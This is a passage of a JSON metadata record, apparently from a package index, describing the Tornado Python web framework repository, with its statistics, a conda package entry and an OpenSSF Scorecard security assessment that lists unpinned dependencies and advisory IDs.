{"id":371678,"url":"https://github.com/tornadoweb/tornado","last_synced_at":"2026-08-25T14:05:59.680Z","repository":{"id":658918,"uuid":"301742","full_name":"tornadoweb/tornado","owner":"tornadoweb","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.","archived":false,"fork":false,"pushed_at":"2026-08-07T15:34:25.000Z","size":11095,"stargazers_count":22179,"open_issues_count":252,"forks_count":5550,"subscribers_count":948,"default_branch":"master","last_synced_at":"2026-08-23T14:39:42.881Z","etag":null,"topics":["asynchronous","python"],"latest_commit_sha":null,"homepage":"http://www.tornadoweb.org/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tornadoweb.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2009-09-09T04:55:16.000Z","updated_at":"2026-08-23T02:08:09.000Z","dependencies_parsed_at":"2026-08-14T16:34:01.251Z","dependency_job_id":null,"html_url":"https://github.com/tornadoweb/tornado","commit_stats":{"total_commits":3791,"total_committers":449,"mean_commits":8.443207126948774,"dds":"0.34819308889475076","last_synced_commit":"0a39ba8b6ac0beb48a3244098cfa72ce1f59f215"},"previous_names":["facebook/tornado"],"tags_count":85,"template":false,"template_full_name":null,"purl":"pkg:github/tornadoweb/tornado","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/sbom","scorecard":{"id":895010,"data":{"date":"2025-08-11","repo":{"name":"github.com/tornadoweb/tornado","commit":"c2bd430e422fbe0302e0d8d64c4a4d4b826b1825"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":3,"reason":"Found 5/14 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: found token with 'none' permissions: .github/workflows/build.yml:1","Info: found token with 'none' permissions: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:95: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:101: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:139: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: containerImage not pinned by hash: demos/blog/Dockerfile:1: pin your Docker image by updating python:3.7 to python:3.7@sha256:eedf63967cdb57d8214db38ce21f105003ed4e4d0358f02bedc057341bcf92a0","Warn: pipCommand not pinned by hash: demos/blog/Dockerfile:9","Warn: pipCommand not pinned by hash: maint/vm/freebsd/setup.sh:21","Warn: pipCommand not pinned by hash: maint/vm/ubuntu12.04/setup.sh:41","Warn: pipCommand not pinned by hash: maint/vm/ubuntu14.04/setup.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:74","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:40","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:84","Info:   0 out of  16 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   8 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build.yml:80"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-753j-mpmx-qq6g","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: PYSEC-2020-213 / GHSA-8vpw-mgpf-mpvv","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: PYSEC-2012-5 / GHSA-f7fv-v9rh-prvc","Warn: Project is vulnerable to: PYSEC-2023-75 / GHSA-hj3f-6gcp-jg8j","Warn: Project is vulnerable to: GHSA-qppv-j76h-2rpx","Warn: Project is vulnerable to: GHSA-w235-7p84-xx57"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-24T13:21:32.547Z","repository_id":658918,"created_at":"2025-08-24T13:21:32.547Z","updated_at":"2025-08-24T13:21:32.547Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36881182,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-24T02:00:14.037Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"tornadoweb","name":"tornadoweb","uuid":"7468980","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/7468980?v=4","repositories_count":1,"last_synced_at":"2026-08-22T00:11:50.763Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/tornadoweb","funding_links":[],"total_stars":22187,"followers":101,"following":0,"created_at":"2022-11-02T16:23:22.380Z","updated_at":"2026-08-22T00:11:50.814Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb/repositories"},"packages":[{"id":5294025,"name":"tornado","ecosystem":"conda","description":"Tornado is a Python web framework and asynchronous networking library. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.","homepage":"https://www.tornadoweb.org/","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/tornadoweb/tornado","keywords_array":[],"namespace":null,"versions_count":19,"first_release_published_at":"2018-07-12T02:10:05.000Z","latest_release_published_at":"2020-03-04T13:29:31.000Z","latest_release_number":"6.0.4","last_synced_at":"2026-08-21T16:27:02.677Z","created_at":"2022-10-03T15:56:12.812Z","updated_at":"2026-08-21T16:27:02.677Z","registry_url":"https://anaconda.org/conda-forge/tornado","install_command":"conda install -c conda-forge tornado","documentation_url":null,"metadata":{},"repo_metadata":{"id":658918,"uuid":"301742","full_name":"tornadoweb/tornado","owner":"tornadoweb","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.","archived":false,"fork":false,"pushed_at":"2026-08-07T15:34:25.000Z","size":11095,"stargazers_count":22187,"open_issues_count":253,"forks_count":5551,"subscribers_count":948,"default_branch":"master","last_synced_at":"2026-08-16T14:26:21.653Z","etag":null,"topics":["asynchronous","python"],"latest_commit_sha":null,"homepage":"http://www.tornadoweb.org/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tornadoweb.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2009-09-09T04:55:16.000Z","updated_at":"2026-08-16T08:31:18.000Z","dependencies_parsed_at":"2026-08-14T16:34:01.251Z","dependency_job_id":null,"html_url":"https://github.com/tornadoweb/tornado","commit_stats":{"total_commits":3791,"total_committers":449,"mean_commits":8.443207126948774,"dds":"0.34819308889475076","last_synced_commit":"0a39ba8b6ac0beb48a3244098cfa72ce1f59f215"},"previous_names":["facebook/tornado"],"tags_count":85,"template":false,"template_full_name":null,"purl":"pkg:github/tornadoweb/tornado","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/sbom","scorecard":{"id":895010,"data":{"date":"2025-08-11","repo":{"name":"github.com/tornadoweb/tornado","commit":"c2bd430e422fbe0302e0d8d64c4a4d4b826b1825"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":3,"reason":"Found 5/14 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: found token with 'none' permissions: .github/workflows/build.yml:1","Info: found token with 'none' permissions: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yml:95: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:101: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:139: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/tornadoweb/tornado/test.yml/master?enable=pin","Warn: containerImage not pinned by hash: demos/blog/Dockerfile:1: pin your Docker image by updating python:3.7 to python:3.7@sha256:eedf63967cdb57d8214db38ce21f105003ed4e4d0358f02bedc057341bcf92a0","Warn: pipCommand not pinned by hash: demos/blog/Dockerfile:9","Warn: pipCommand not pinned by hash: maint/vm/freebsd/setup.sh:21","Warn: pipCommand not pinned by hash: maint/vm/ubuntu12.04/setup.sh:41","Warn: pipCommand not pinned by hash: maint/vm/ubuntu14.04/setup.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:74","Warn: pipCommand not pinned by hash: .github/workflows/build.yml:40","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:84","Info:   0 out of  16 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned","Info:   0 out of   8 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build.yml:80"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-753j-mpmx-qq6g","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: PYSEC-2020-213 / GHSA-8vpw-mgpf-mpvv","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: PYSEC-2012-5 / GHSA-f7fv-v9rh-prvc","Warn: Project is vulnerable to: PYSEC-2023-75 / GHSA-hj3f-6gcp-jg8j","Warn: Project is vulnerable to: GHSA-qppv-j76h-2rpx","Warn: Project is vulnerable to: GHSA-w235-7p84-xx57"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-24T13:21:32.547Z","repository_id":658918,"created_at":"2025-08-24T13:21:32.547Z","updated_at":"2025-08-24T13:21:32.547Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36717189,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-16T02:00:06.462Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tornadoweb","name":"tornadoweb","uuid":"7468980","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/7468980?v=4","repositories_count":1,"last_synced_at":"2026-08-14T04:43:01.486Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/tornadoweb","funding_links":[],"total_stars":22192,"followers":101,"following":0,"created_at":"2022-11-02T16:23:22.380Z","updated_at":"2026-08-14T04:43:01.500Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tornadoweb/repositories"},"tags":[{"name":"v6.5.8","sha":"a55abe3e3bf59994f29b2f7084c46341f0d4f6a7","kind":"tag","published_at":"2026-08-07T01:56:30.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v6.5.8","html_url":"https://github.com/tornadoweb/